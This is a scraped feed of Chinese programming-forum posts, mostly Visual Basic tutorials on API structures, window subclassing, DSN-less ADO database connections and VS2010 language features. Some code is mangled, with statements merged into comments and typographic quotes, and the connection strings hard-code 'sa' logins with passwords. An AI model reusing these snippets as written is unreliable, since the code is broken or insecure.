函數(shù)中,結(jié)構(gòu)都是按ByRef傳遞的(在Declare語句 中ByRef是默認(rèn)型)。對于結(jié)構(gòu)的傳遞,你不要試圖采用ByVal,你將一無所獲。由于結(jié)構(gòu)名實(shí)際上就是指向這個(gè)結(jié)構(gòu)的指針(這個(gè)結(jié)構(gòu)的首地址),所以,你也就傳送特定的結(jié)構(gòu)名就可以了(參見小結(jié),我用紅色字體來突出了這種傳遞方式)。

由于結(jié)構(gòu)傳送的是指針,所以函數(shù)將直接對結(jié)構(gòu)進(jìn)行讀寫操作。這種特性很適合于把函數(shù)執(zhí)行的結(jié)果裝載在結(jié)構(gòu)之中。
小 結(jié) [返回]

以下的程序是為了總結(jié)本課中學(xué)到的內(nèi)容而給出的。啟動(dòng)VB,新建一個(gè)項(xiàng)目,添加一個(gè)命令按鈕,并把下面的代碼拷貝到代碼段中,運(yùn)行它。

Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI '定義點(diǎn)(Point)結(jié)構(gòu)
X As Long '點(diǎn)在X坐標(biāo)(橫坐標(biāo))上的坐標(biāo)值
Y As Long '點(diǎn)在Y坐標(biāo)(縱坐標(biāo))上的坐標(biāo)值
End Type
Sub PrintCursorPos( )
Dim dl AS Long
Dim MyPoint As POINTAPI
dl&= GetCursorPos(MyPoint) '調(diào)用函數(shù),獲取屏幕鼠標(biāo)坐標(biāo)

Debug.Print "X=" & Str(MyPoint.X) & " and " & "Y=" & Str(MyPoint.Y)
End Sub
Private Sub Command1_Click()
PrintCursorPos

End Sub

輸出結(jié)果為(每次運(yùn)行都可能得到不同的結(jié)果,這得由函數(shù)調(diào)用時(shí)鼠標(biāo)指針在屏幕中所處的位置而決定)∶
X= 240 and Y= 151

程序中,GetCursorPos函數(shù)用來獲取鼠標(biāo)指針在屏幕上的位置。

以上例子中,你可以發(fā)現(xiàn),以參數(shù)傳遞的MyPpint結(jié)構(gòu)的內(nèi)容在函數(shù)調(diào)用后發(fā)生了實(shí)質(zhì)性變化。這是由于結(jié)構(gòu)是按ByRef傳遞的原因。
]]>
vb編程語言?學(xué)習(xí)vb語言編程需要有什么基礎(chǔ)?http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2604&Page=1wangxinxin2010-12-14 14:21:08
1、VB在編程語言中屬于十分好學(xué)的,BASIC語言在設(shè)計(jì)之初就是為初學(xué)者準(zhǔn)備的

2、26個(gè)字母和打字肯定得會(huì)啊~~如果會(huì)英語的話,學(xué)起來會(huì)更簡單,但是不會(huì)也無妨;需要一定的電腦基礎(chǔ),以理解其中的一些術(shù)語

3、如果你對電腦并不精通,或之前沒有編程經(jīng)驗(yàn),建議買《Visual Basic 6程序設(shè)計(jì)與應(yīng)用教程》清華大學(xué)出版社,許慶芳、翁婉真著

如果學(xué)過其它程序語言,或者你的理解能力很強(qiáng),建議買《零基礎(chǔ)學(xué)Visual Basic》斯圖巴琴、楊利潤等著

學(xué)習(xí)VB一段時(shí)間之后,建議買《Visual Basic開發(fā)技術(shù)大全》明日科技著,里面內(nèi)容很全,但不要作為入門教材!!

4、樓上寫的很詳細(xì),這里就不再說了。

5、有助于。因?yàn)榫幊坍?dāng)中,各種語言的算法在大致上一樣。但學(xué)VB對學(xué)習(xí)C的幫助與JAVA、C++、C#、PHP等現(xiàn)在很流行的語言相比,是很小的;因?yàn)閂B的語法和C大不一樣,而前面說的語言要么是C派生的,要么就是其語法與C相似。
有誰懂VB編程語言啊
vb編程語言我這有個(gè)題目.懂的幫個(gè)忙啊.偶是個(gè)初學(xué)者哈.
針對command.每按一次按鈕,文本框的高就會(huì)增加10.寬度增加15.字號增加2.
Private Sub Command1_Click()
Text1.Height = Text1.Height + 10 www.oustudy.com
Text1.Width = Text1.Width + 15
End Sub

添加一個(gè)按鈕和一個(gè)文本框,并修改其為多行顯示
為按鈕添加以下事件方法
Private Sub Command1_Click()
Text1.Height = Text1.Height + 10 * 15
Text1.Width = Text1.Width + 10 * 15
Text1.FontSize = Text1.FontSize + 2
End Sub
]]>
VB中子分類技術(shù)實(shí)例應(yīng)用http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2603&Page=1wangxinxin2010-12-14 14:19:11子分類技術(shù)的原理:要先取得原先Window Procedure所在的地址,將之記錄起來,接著設(shè)定所有的消息都先轉(zhuǎn)到我們所寫的消息處理過程上來,我們過濾傳過來的消息,尋找特定的消息進(jìn)行處理,其余的送回系統(tǒng),由系統(tǒng)決定如何處理。等到我們不需要再處理這些特定的消息時(shí),便取消消息的截取,即中止子分類過程。它一般需要三個(gè)過程:開始截取,消息處理,中止截取. 
  程序需要一個(gè)模塊,在模塊中聲明如下: 
  ’api函數(shù)Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _ 
  (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long)

A s Long Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _ 
  (ByVal hwnd As Long, ByVal nIndex As Long) As Long Declare Function

CallWindowProc Lib "user32" Alias "CallWindowProcA" _ 
  (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, _ 
  ByVal wParam As Long, ByVal lParam As Long) As Long 
  ’定義常數(shù)Public Const GWL_WNDPROC = (-4) Public Const WM_MOUSEMOVE = &H200 Public Const WM_RBUTTONDOWN = &H204 
  ’全局變量,存放控件標(biāo)志性數(shù)據(jù)Public preWinProc As Long 
  ’本函數(shù)就是用來接收子分類時(shí)截取的消息的Public Function wndproc(ByVal hwnd As Long, ByVal Msg As Long, _ 
  ByVal wParam As Long, ByVal lParam As Long) As 
  Long 
  ’截取下來的消息存放在msg參數(shù)中. 
  if msg=WM_RBUTTONDOWN then 
  ’檢測到鼠標(biāo)右擊消息,這里就可以加入我們的處理代碼如: 
  msgbox "你好,鼠標(biāo)右擊消息!" 
  ’需要注意,如果這兒不加入任何代碼,則相當(dāng)于吃掉了這條消息. else 
  ’如果我們不是我們需要處理的消息,則將之送回原來的程序. 
  wndproc = CallWindowProc(preWinProc, hwnd, Msg, wParam, lParam) endif End Function 
’以下代碼在窗體中: ’本例以截取一個(gè)combobox控件的消息為例,假設(shè)該’控件的名字是:comb1 Private Sub subclass() Dim ret As Long 
  ’記錄Window Procedure的地址 
  preWinProc = GetWindowLong(comb1.hwnd, GWL_WNDPROC)

]]>
VB軟件防破解設(shè)計(jì)技術(shù)初探 文檔 + 全部源碼http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2602&Page=1wangxinxin2010-12-14 14:17:46VB反破解最好的教程  申精加申¥[/font]
[font=黑體][/font]
[font=黑體][attach]7211[/attach][/font]
[font=黑體]
用VB開發(fā)商業(yè)軟件的朋友一定要看的啦~
3個(gè)DOC文檔 & 全部源碼 收集整理方便下載.
我用金山卡吧殺毒過 不放心的下載后再殺.
[/font]
[font=黑體][/font]
[font=黑體][/font]
[font=黑體][/font]]]>
掌握開發(fā)的武器-語言http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2601&Page=1wangxinxin2010-12-14 14:11:41隨首電腦的普及,電腦語言也跟首一塊開始普及。在這之前電腦語言一直是科學(xué)家手中的神秘之物。它經(jīng)過不斷的發(fā)展和進(jìn)化才變成我們現(xiàn)在所看見的樣子,而在早期的時(shí)候,語言基本上都很繁雜很難接受,語言的種類也很多,其中有相當(dāng)一部分語言已經(jīng)淘汰了,只有資深的程序員還能記得它們的名字。

好個(gè)時(shí)候機(jī)器也很差,CPU、內(nèi)存、硬盤等都差得很,跟現(xiàn)在是沒法比了,編程序也沒有現(xiàn)在舒服,還沒有軟驅(qū)的時(shí)候編程人員用的是穿孔紙帶,機(jī)器大的象立柜。可能有的人聽著都新鮮,其實(shí)那就是電腦以前的樣子,連游戲都沒有。后來出現(xiàn)了蘋果機(jī)和8086以后PC市場才開始火起來,隨著普及量的增多PC的用途也越來越廣,人們開始在上面制作各種用途軟件,這極大推動(dòng)了電腦語言的發(fā)展。產(chǎn)生了匯編語言、C語言Basic語言、數(shù)據(jù)庫語言等很多風(fēng)行的語言,它們基本上解決了人們在各行業(yè)中的需要。

2、領(lǐng)會(huì)語言的特征
每種語言都有它的特征,領(lǐng)會(huì)它的特征知道它的優(yōu)缺點(diǎn)是非常必要的。盲目地選擇一種語言或追求一些風(fēng)行的語言都不是什么好事。尤其容易把業(yè)余程序員給害了,現(xiàn)在很多人就是這樣盲目地學(xué)VB或上些速成班,然后再用微軟的控件東拼西湊的編些軟件就以為成了高手了,其實(shí)他把編程序的花拳銹腿都學(xué)來了,而把最首要的編程底子給漠視了。我在這里忠心地奉勸朋友們,請不要這樣干,要想在這方面有些作為的人最好別在花拳銹腿上浪費(fèi)青春。

]]>
圖解微軟交互動(dòng)畫軟件Sparkle主要功能http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2600&Page=1wangxinxin2010-12-14 14:02:51
以下內(nèi)容含腳本,或可能導(dǎo)致頁面不正常的代碼
說明:上面顯示的是代碼內(nèi)容。您可以先檢查過代碼沒問題,或修改之后再運(yùn)行.
]]>
語言創(chuàng)新 VB 6.0與大型數(shù)據(jù)庫的無“數(shù)據(jù)源”連接http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2599&Page=1wangxinxin2010-12-14 13:59:46數(shù)據(jù)庫參考書都介紹了ODBC的手工配置方法,或者介紹了如何在代碼中進(jìn)行ODBC配置。但這兩種方法都有一定的局限性: 不是當(dāng)程序最終完成并分發(fā)到用戶手中后,還需要為用戶配置ODBC,顯得既麻煩又不符合專業(yè)軟件的要求;就是得編寫復(fù)雜的更改操作系統(tǒng)注冊表文件的程序,十分煩瑣。本文從ADO(ActiveX Data Objects)入手,介紹無需配置數(shù)據(jù)源的幾種常用大型數(shù)據(jù)庫連接方法。

本文所述的無“數(shù)據(jù)源”連接,意義不是不需要數(shù)據(jù)源,否則連接無從談起,而是不需要配置注冊數(shù)據(jù)源所進(jìn)行的連接。ODBC(Open DataBase Connectivity,開放式數(shù)據(jù)庫連接)是用于連接不同數(shù)據(jù)源的標(biāo)準(zhǔn)編程語言接口。許多文章中介紹,在實(shí)現(xiàn)ODBC時(shí),必須首先配置ODBC環(huán)境,進(jìn)行數(shù)據(jù)源的注冊,然后才能在對數(shù)據(jù)庫編程時(shí),對數(shù)據(jù)源進(jìn)行連接、訪問和操作,并提供了用PB或VB等語言工具實(shí)現(xiàn)數(shù)據(jù)源注冊的具體方法。這些方法不但復(fù)雜煩瑣,而且由于參數(shù)內(nèi)容不一,配置時(shí)令人感覺無所適從,不宜把握。

走近ADO

ADO是微軟提供的數(shù)據(jù)庫訪問技術(shù)。它被設(shè)計(jì)用來同新的數(shù)據(jù)訪問層OLE DB Provider一起協(xié)同工作,以提供通用數(shù)據(jù)訪問(Universal Data Access)能力。OLE DB是一個(gè)底層的數(shù)據(jù)訪問接口,用它可以訪問各種數(shù)據(jù)源,包括傳統(tǒng)的關(guān)系型數(shù)據(jù)庫、電子郵件系統(tǒng)及自定義的商業(yè)對象等。

ADO提供了一個(gè)熟悉的、高層的對OLE DB的Automation封裝接口。對那些熟悉RDO的程序員來說,可以把OLE DB看作ODBC驅(qū)動(dòng)程序,如同RDO對象是ODBC驅(qū)動(dòng)程序接口一樣,ADO對象是OLE DB的接口。同樣,像不同的數(shù)據(jù)庫系統(tǒng)需要它們自己的ODBC驅(qū)動(dòng)程序一樣,不同的數(shù)據(jù)源也要求它們自己的OLE DB提供者(OLE DB provider)。目前,雖然OLE DB提供者比較少,但微軟正積極推廣該技術(shù),并計(jì)劃用OLE DB取代ODBC。

微軟公司已宣布今后不會(huì)對VB SQL/DBLib進(jìn)行升級,而且ODBC API函數(shù)一級的編程方式也不為人們所喜愛,所以,RDO今后將被以ActiveX技術(shù)為基礎(chǔ)的ADO所替代。ADO是基于OLE DB之上的技術(shù),它通過內(nèi)部的屬性和方法提供統(tǒng)一的數(shù)據(jù)庫訪問接口。

1.ADO組件

● Microsoft ActiveX Data Objects (ADO) :使客戶端應(yīng)用程序能通過OLE DB提供者訪問和操作數(shù)據(jù)庫服務(wù)器中的數(shù)據(jù)。

● ActiveX Data Objects Extensions for DDL and Security(ADOX) :將ADO擴(kuò)展為包括創(chuàng)建、修改和刪除的模式對象,如表格和過程,以及包括用于維護(hù)用戶和組以及管理對象權(quán)限的安全對象。

● ActiveX Data Objects (Multidimensional) (ADO MD): 將ADO擴(kuò)展為包括指定到多維數(shù)據(jù)的對象,并允許瀏覽多維模式、查詢立方和檢索結(jié)果。

2.ADO優(yōu)點(diǎn)

● ADO具有高度的靈活性,它可以使用相同的編程模式連接到不同的數(shù)據(jù)提供者,而不管給定提供者的特定特性。

● 較低的內(nèi)存占用率。

● 具有遠(yuǎn)程數(shù)據(jù)服務(wù)(RDS)功能,通過RDS可以在一次往返過程中將數(shù)據(jù)從服務(wù)器移動(dòng)到客戶端應(yīng)用程序或Web頁,并在客戶端對數(shù)據(jù)進(jìn)行處理后將更新結(jié)果返回服務(wù)器。

● 同傳統(tǒng)的數(shù)據(jù)對象層次(DAO和RDO)不同,ADO可以獨(dú)立創(chuàng)建。可以只創(chuàng)建一個(gè)“Connection”對象,然后由多個(gè)獨(dú)立的“Recordset”對象來使用它。

● ODBC本身是以SQL Server、Oracle等關(guān)系數(shù)據(jù)庫作為訪問對象,而OLE DB則不僅限于此,它還可以對電子郵件、文本文件、復(fù)合文件、數(shù)據(jù)表等各種各樣的數(shù)據(jù)通過統(tǒng)一的接口進(jìn)行存取。

OLE DB Provider for ODBC是ADO的默認(rèn)提供者,默認(rèn)值是MSDASQL,如果省略連接字符串的Provider=參數(shù),ADO將試圖建立與該提供者的連接。

ADO的連接方式主要可分為OLE DB Privder方式與OLE DB Provider for ODBC方式。前者很明顯是微軟公司極力推薦的方式,對于ADO或RDS程序員來說,理想的環(huán)境是每個(gè)數(shù)據(jù)源都具有一個(gè)OLE DB接口,這比ODBC方式要快且所需資源更少。

ODBC Provider允許ADO連接到任何ODBC數(shù)據(jù)源。ODBC驅(qū)動(dòng)程序?qū)τ诋?dāng)今使用的各種主要DBMS都有效,包括SQL Server、Access、FoxPro,以及諸如Oracle等非微軟數(shù)據(jù)庫產(chǎn)品。提供者將不受線程控制,允許使用Unicode,并將支持事務(wù)。

連接對象屬性

ConnectionString是Connection對象的屬性名稱,為可讀寫String類型,提供數(shù)據(jù)提供者或服務(wù)提供者打開到數(shù)據(jù)源的連接所需要的特定信息,包括Provider、Driver、Server、Database、DSN、UID、PWD或者Provider、Data Source、User、Password、Initial Catalog等。

1.Provider

字符串表達(dá)式,指定OLE DB數(shù)據(jù)或服務(wù)提供者的名稱,可以缺省。

一般有三種提供者:數(shù)據(jù)提供者、服務(wù)提供者和服務(wù)組件。數(shù)據(jù)提供者擁有自己的數(shù)據(jù)并將數(shù)據(jù)以表的格式顯示給應(yīng)用程序。服務(wù)提供者將服務(wù)封裝,使ADO應(yīng)用程序中的功能得以擴(kuò)大。服務(wù)提供者也可以進(jìn)一步定義為服務(wù)組件,服務(wù)組件必須連同其他服務(wù)提供者或組件一起工作。

2.Driver

字符串表達(dá)式,表示ODBC驅(qū)動(dòng)程序的名稱,并不是ODBC驅(qū)動(dòng)程序動(dòng)態(tài)鏈接庫(DLL)的文件名。

有些驅(qū)動(dòng)程序是微軟公司的產(chǎn)品,在安裝操作系統(tǒng)時(shí)就已經(jīng)安裝好了; 而有些數(shù)據(jù)庫產(chǎn)品的驅(qū)動(dòng)程序由開發(fā)數(shù)據(jù)庫產(chǎn)品的軟件公司隨數(shù)據(jù)庫產(chǎn)品一起提供,需要在安裝數(shù)據(jù)庫時(shí)選擇安裝后,才可以使用。如:Sybase數(shù)據(jù)庫驅(qū)動(dòng)程序等。

3.Server(SRVR)

字符串表達(dá)式,數(shù)據(jù)庫服務(wù)名稱。

4.Database(DB)

字符串表達(dá)式,指定服務(wù)器上的數(shù)據(jù)庫名稱。即使DSN定義已經(jīng)指定了數(shù)據(jù)庫,也可以在DSN之外指定Database參數(shù)以便連接到不同的數(shù)據(jù)庫。

5.DSN(Data Source)

字符串表達(dá)式,在此為空,無須指定連接的ODBC數(shù)據(jù)源的名稱。

6.UID(User ID)

字符串表達(dá)式,為ODBC數(shù)據(jù)源指定用戶標(biāo)識(shí)(用戶賬號名),指定用戶必須有足夠的權(quán)限。

7.PWD(Password)

字符串表達(dá)式,為ODBC數(shù)據(jù)源指定用戶口令,必須有足夠的權(quán)限。

8.Persist Security Info

布爾類型,為True時(shí),表明采用集成安全機(jī)制;若為False,則表明不采用集成安全機(jī)制。

無DSN(非DSN)連接

除了ADO所定義的參數(shù)外,提供者不支持任何特定連接參數(shù),它將把任何非ADO連接參數(shù)傳遞給ODBC驅(qū)動(dòng)程序管理器。下面介紹幾種常見數(shù)據(jù)庫的處理方法。

1. Visual Foxpro

[PROVIDER=MSDASQL.1]; ’或者為MSDASQL

DRIVER={Driver Name};

SourceDB=Path;

SourceType=DBF

例如:

cnna.ConnectionString = “PROVIDER=MSDASQL; ”

+ “DRIVER={Microsoft Visual Foxpro Driver};”

+ “SourceDB=D:\data\;”

+ “SourceType=DBF”

2.SQL Server

[PROVIDER=MSDASQL;]

DRIVER={Driver Name};

SERVER=server;

DATABASE=database;

UID=user;

PWD=password

例如:

cnnb.ConnectionString = “PROVIDER=

MSDASQL;”

+ “DRIVER={SQL Server};”

+ “SERVER=servera;”

+ “DATABASE=pubs;”

+ “UID=sa;”

+ “PWD=yyuui”

3. Sybase數(shù)據(jù)庫

[PROVIDER=MSDASQL;]

DRIVER={Driver Name};

SRVR=server; ’必須是SRVR,不能是SERVER

DB=database; ’可以是DB,也可以是DATABASE

DSN=; ’可以省略

UID=user;

PWD=passwod;

PERSIST SECURITY INFO=False

例如:

cnnc.ConnectionString=

“PROVIDER=MSDASQL;”

+ “DRIVER={Sybase System 11};”

+ “SRVR=serveru; ”

+ “DSN=;”

+ “DB=dataa;”

+ “UID=sa;”

+ “PWD=dqwe;”

+ “PERSIST SECURITY INFO=False”

4. Oracle數(shù)據(jù)庫

[PROVIDER=MSDASQL;]

DRIVER={Driver Name};

SERVER=server;

databasename=database;

databasefile=path;

DSN=;

UID=user;

PWD=password;

例如:

cnnd.ConnectionString =

“PROVIDER=MSDASQL; ”

+ “DRIVER={Microsoft ODBC for Oracle};”

+ “SERVER=Webserver;”

+ “DSN=;”

+ “databasename=dataall;”

+ “databasefile=d:\data\;”

+ “UID=dba;”

+ “PWD=killer”

應(yīng)用實(shí)例

下面以Sybase 11.9.2為例,編制一個(gè)簡單的工作人員管理程序,介紹ADO的具體實(shí)現(xiàn)方法和步驟。數(shù)據(jù)庫名稱為Workerdb,只包括一個(gè)表(Worker),其結(jié)構(gòu)如下:

字段名稱    寬度       注釋

code nchar(4) 代號

name char(8) 姓名

…… …… ……

首先安裝ADO,在VB的“工程”/“引用”對話框中選擇“ActiveX Data Object 2. 5 Library”(ADODB)。其中“ADO Recordset 2. 5 Library”是一個(gè)客戶端的版本(ADOR),因?yàn)椴恍枰狢onnection對象來建立與遠(yuǎn)程數(shù)據(jù)源的聯(lián)系,所以ADOR對于客戶端的數(shù)據(jù)訪問來說已經(jīng)足夠了。 下面是部分主要代碼:

1. 處理代碼

’在工程菜單中引用Microsoft ActiveX Data Object 2. 5 Library

’聲明ADO連接對象為工程級全局變量

Public cndbase As New ADODB.Connection

……

’自定義連接數(shù)據(jù)庫函數(shù)

Public Function ConnectDbase(StrConnect As String) As Boolean

On Error GoTo ErrHandle

cndbase.ConnectionString = StrConnect

cndbase.Open

cndbase.CursorLocation = adUseClient

ConnectDbase = True

Exit Function

ErrHandle:

ConnectDbase = False

End Function

Private Sub Form_Load()

……

輸入 VarServer ’服務(wù)名稱

VarDbase ’數(shù)據(jù)庫名稱

VarUser ’用戶名稱

VarPassword ’用戶口令

……

’連接數(shù)據(jù)庫,采取無DSN連接方法

StrConnect = “Provider=MSDASQL;”

+“Driver={” & VarDriver &“};”

+“SRVR=” & VarServer & “;”

+“DB=” & VarDbase & “;”

+“DSN=;”

+“UID=” & VarUser & “;”

+“PWD=” & VarPassword & “;”

+ “Persist Security Info=False” ’不采用集成安全機(jī)制

if ConnectDbase(StrConnect) Then

Exit Sub

else

myexit = MsgBox(“數(shù)據(jù)庫連接失敗!請檢查連接設(shè)置信息。”, vbOKOnly, “錯(cuò)誤提示:”)

Unload me

endif

ErrHand:

myexit = MsgBox(“錯(cuò)誤程序:” & Err. Source & Chr(10) & “錯(cuò)誤代碼:” & Err. Number & Chr(10) & “錯(cuò)誤信息:” & Err.Description, VbAbortRetryIgnore, “錯(cuò)誤提示:”)

If myexit = 3 Then

Err.Clear

Unload Me

Else

If myexit = 4 Then

Err.Clear

Resume

Else

Err.Clear

Resume Next

End If

End If

End Sub

Private Sub Form_Unload()

……

cndbase.Close

Set cndbase = Nothing

End Sub

2. 建表

codbase.CommandText=“{call CREATABLE (?) }”

codbase.CommandType = adCmdText

codbase.Name = “CREATABLE”

’設(shè)定OutPut的參數(shù)

Set param = codbase.CreateParameter(“flag”, adInteger, adParamOutput)

codbase. Parameters. Append param

Set codbase. ActiveConnection = cndbase

codbase. Execute

If codbase. Parameters(0) = 0 Then

myexit = MsgBox(“建表成功!”, vbOKOnly, “程序提示:”)

Else

myexit = MsgBox(“建表失敗!”, vbOKOnly, “錯(cuò)誤提示:”)

Endif

……

3. 修改

rsdbase. Open“worker”,cndbase,adOpenDynamic,adLockPessimistic,adCmdTable

rsdbase. MoveFirst

cndbase. BeginTrans

’在記錄集中進(jìn)行循環(huán)更改

Do Until rsdbase.EOF

’增加20元職務(wù)代碼為1的人員的工資

If rsdbase! duty = 1 Then

rsdbase! salary = rsdbase! salary + 20

End If

rsdbase. MoveNext

Loop

rsdbase.UpdateBatch

……

4. 統(tǒng)計(jì)

StrSQL = “Select avg(salary), sum(salary) from worker”

rsdbase. CursorLocation = adUseClient

rsdbase. Open StrSQL,cndbase

salaryavg = rsdbase(0) ’平均工資

salarysum = rsdbase(1) ’工資總和

……

rsdbase .Close

5. 存儲(chǔ)過程creatable. sql

CREATE PROCEDURE dbo.creatable(@return_value integer output)

AS

Begin

Create table Workerdb..Worker

( code nchar(4) not null ,

name char(8) not null ,

year nchar(4) ,

month nchar(2) ,

day nchar(2) ,

salary numeric(18,2) ,

duty nchar(1) )

If @@error != 0

begin

select @return_value = 1

  End

 Else

Begin

select @return_value = 0

End

return

End]]>
微軟 VS2010 中 VB 和 C# 語言的增強(qiáng)http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2598&Page=1wangxinxin2010-12-14 13:52:57 

選擇一種編程語言是每一個(gè)程序員都要做的個(gè)人決定。這就好像對冰淇淋口味的選擇一樣。冰淇淋口味的選擇多多,但你最喜歡的口味只關(guān)系到你的個(gè)人偏好。

在Visual Studio 2010種,為了給程序員提供他們構(gòu)建出色軟件時(shí)所需要的所有工具而不用局限于他們所選擇的語言,我們從好幾個(gè)方面增強(qiáng)了我們最流行的兩種語言,Visual Basic和C#語言的功能。

Visual Basic

Visual Basic開發(fā)團(tuán)隊(duì)為了讓開發(fā)人員可以用更少的代碼完成更多的任務(wù),集中增加了和生產(chǎn)力相關(guān)的功能特性。Visual Basic客戶最常提出的要求是在大多數(shù)情況下能省去為代碼聲明分成多行時(shí)所需要添加的下劃線(“_”)。Visual Basic 10增加了隱式斷行的功能特性,能在大多數(shù)情況下不要求開發(fā)人員使用下劃線來斷行。

Function Filter(
                    ByVal customers As List ( Of Customer),
                    ByVal orderCount As Integer
                   )
        Dim query =
                    From c In customers
          Where c.Orders.Count >
                orderCount
                    Select c

另一個(gè)新添加的和提高生產(chǎn)力有關(guān)的功能特性是自動(dòng)實(shí)現(xiàn)屬性。有了自動(dòng)實(shí)現(xiàn)屬性的功能,多行常規(guī)的屬性實(shí)現(xiàn)的代碼就可以用一行簡單的聲明代替。在加入該功能特性之前,屬性聲明經(jīng)常如下所示:

Private _FavoriteFlavor As String = "Butter Pecan"
    Property FavoriteFlavor() As String
        Get
            Return _FavoriteFlavor
        End Get
        Set(ByVal value As String)
            _FavoriteFlavor = value
        End Set
    End Property
    Private _FlavorList As New List(Of Flavor)
    Property FlavorList() As List(Of Flavor)
        Get
            Return _FlavorList
        End Get
        Set(ByVal value As String)
            _FlavorList = value
        End Set
    End Property

現(xiàn)在,屬性聲明能用簡單的多得方法實(shí)現(xiàn):

Property FavoriteFlavor As String = "Butter Pecan"
    Property FlavorList As New List(Of Flavor)

集合初始化和數(shù)組Literal也變得更加簡單。現(xiàn)在集合能在它們被聲明的時(shí)候就被初始化,而數(shù)組Literal的類型能交由編譯器來識(shí)別。

Dim toppings = New List(OfString) From
        {
         "sprinkles",
         "chocolate chips",
         "strawberries"
        }
    Dim cones = {"sugar cone", "waffle cone"} 'String()的類

型被編譯器識(shí)別出來

現(xiàn)在,Visual Basic 10.0有了更好的lambda表達(dá)式支持。現(xiàn)在,Lambda表達(dá)式可以包含沒有返回值的表達(dá)式,就像下面sub關(guān)鍵詞所要表達(dá)的那樣:

Array.ForEach(toppings, Sub(n) Console.WriteLine(n))

有時(shí)候,你會(huì)想在Lamdba表達(dá)式聲明中作些更復(fù)雜的工作。Visual Basic 10.0支持多行的Lamdba表達(dá)式。就像在常規(guī)Lambda表達(dá)式中一樣,編譯器將盡可能識(shí)別變量和返回類型。

Dim doubleDown = Function(n AsString)
                         If n.StartsWith("s") Then
                             Return "extra " & n
                         Else
                             Return n
                         End If
                     End Function

在Visual Basic 10.0中,和Python及Ruby語言等動(dòng)態(tài)語言的互通操作也變得更加簡單。比如,下面的代碼片斷調(diào)用了一個(gè)Python庫“math.ph”中的方法:

Dim mathLib As Object = python.UseFile("math.py")
    Dim firstNumber = 44.2
    Dim secondNumber = 9.5
    mathLib.PowerOf(firstNumber, secondNumber)

C#

C# 4.0主要增強(qiáng)了與動(dòng)態(tài)編程語言的互通性并改進(jìn)了Office編程性。動(dòng)態(tài)查找是C# 4.0的一個(gè)新功能,能讓你用同樣的方法使用和操作IronPython、IronRuby、JScript、HTML DOM以及標(biāo)準(zhǔn).NET庫中的對象,不管該對象從哪里獲得。命名參數(shù)和可選參數(shù),以及對COM客戶端支持的改進(jìn)等語言方面的增強(qiáng)讓那些和Office API打交道的C#開發(fā)人員與Visual Basic開發(fā)人員有同樣的美妙體驗(yàn)。

在你的代碼中加入新的dynamic關(guān)鍵詞能讓它的類型在運(yùn)行時(shí)被動(dòng)態(tài)解析而非編譯時(shí)的靜態(tài)解析。這讓動(dòng)態(tài)語言用一種C#編程員覺得自然的方式在C#語言中暴露他們的對象:

dynamic dynamicObject = GetDynamicObjectFromRuby();
    dynamicObject.Foo(7);
    dynamicObject.Property = "Property value";
    dynamicObject[0] = "Indexed value";

可選方法參數(shù)對Visual Basic和C++的編程員來說再熟悉不過。現(xiàn)在C#編程員同樣可以使用這種參數(shù)。可選參數(shù)在方法簽名中與一個(gè)默認(rèn)值一同聲明,如下所示:

private void CreateNewStudent(string name, int 

currentCredits = 0, int year = 1)

上面這個(gè)方法可以用下面任意一種方法調(diào)用:

CreateNewStudent("Chloe");
    CreateNewStudent("Zoe", 16);
    CreateNewStudent("Joey", 40, 2);

如果要省略currentCredit參數(shù)但指明year參數(shù),可以使用新加入的命名參數(shù)功能特性(如高亮的代碼所示)。下面所有的調(diào)用都是合法的:

CreateNewStudent("Jill", year: 2);
    CreateNewStudent(name:"Bill", currentCredits: 30, year: 

2);
    CreateNewStudent("Will", currentCredits: 4);

即使不用可選參數(shù),命名參數(shù)同時(shí)也是一種用來對你現(xiàn)有方法編寫自定義調(diào)用的好方法。

]]>
Go 語言初級教程http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2597&Page=1wangxinxin2010-12-14 13:51:521、Go 語言初級教程之一[變量聲明]

2、Go 語言初級教程之二[條件語句]

3、Go 語言初級教程之三[分支語句]

4、Go 語言初級教程之四[循環(huán)]

5、Go 語言初級教程之五[函數(shù)]

6、Go 語言初級教程之六[基本類型]

7、Go 語言初級教程之七[面向?qū)ο骫

8、Go 語言初級教程之八[并發(fā)]

9、Go 語言初級教程之九[包]]>
VB6用戶聯(lián)名上書微軟 反對其停止技術(shù)支持http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2596&Page=1wangxinxin2010-12-14 13:47:16  這些用戶都是微軟最具價(jià)值專業(yè)項(xiàng)目(MVPs Most Valuable Professional program)的成員,他們稱微軟停止支持無疑于毀滅成百上千萬的Visual Basic 6 (VB6)應(yīng)用軟件,拋棄了編程人員,因?yàn)樗麄儾]有經(jīng)過新語音的培訓(xùn)。

  微軟此前表示,將于本月底停止對Visual Basic 6提供標(biāo)準(zhǔn)支持,終止免費(fèi)的突發(fā)事件支持和升級,這兩項(xiàng)服務(wù)改為收費(fèi)服務(wù)再延續(xù)三年。

  MVPs不僅僅要求微軟繼續(xù)對VB6提供支持,并開發(fā)與新產(chǎn)品Visual Basic.Net接軌的語言。

  聯(lián)名申請書表示,“在Visual Studio IDE框架內(nèi)提供新版基于COM的Visual Basic有助于微軟保持客戶已開發(fā)程序產(chǎn)品的價(jià)值,也可以顯示微軟致力于核心Visual Basic語言的決心,并能夠大大簡化VB.NET 推廣的過程。”

  心懷不滿的開發(fā)者稱,微軟用Visual Basic.Net (或Visual Basic 7)來代替VB6,事實(shí)上是從根本上拋棄一種語言而選擇完全不同的另一種語言。要讓基于VB6的應(yīng)用軟件升級到VB.Net幾乎是不可能的,而對于VB6開發(fā)者來說學(xué)習(xí)VB.Net語言無疑于學(xué)習(xí)另一種完全陌生的復(fù)雜語言,VB.Net只在名義上屬于Visual Basic。

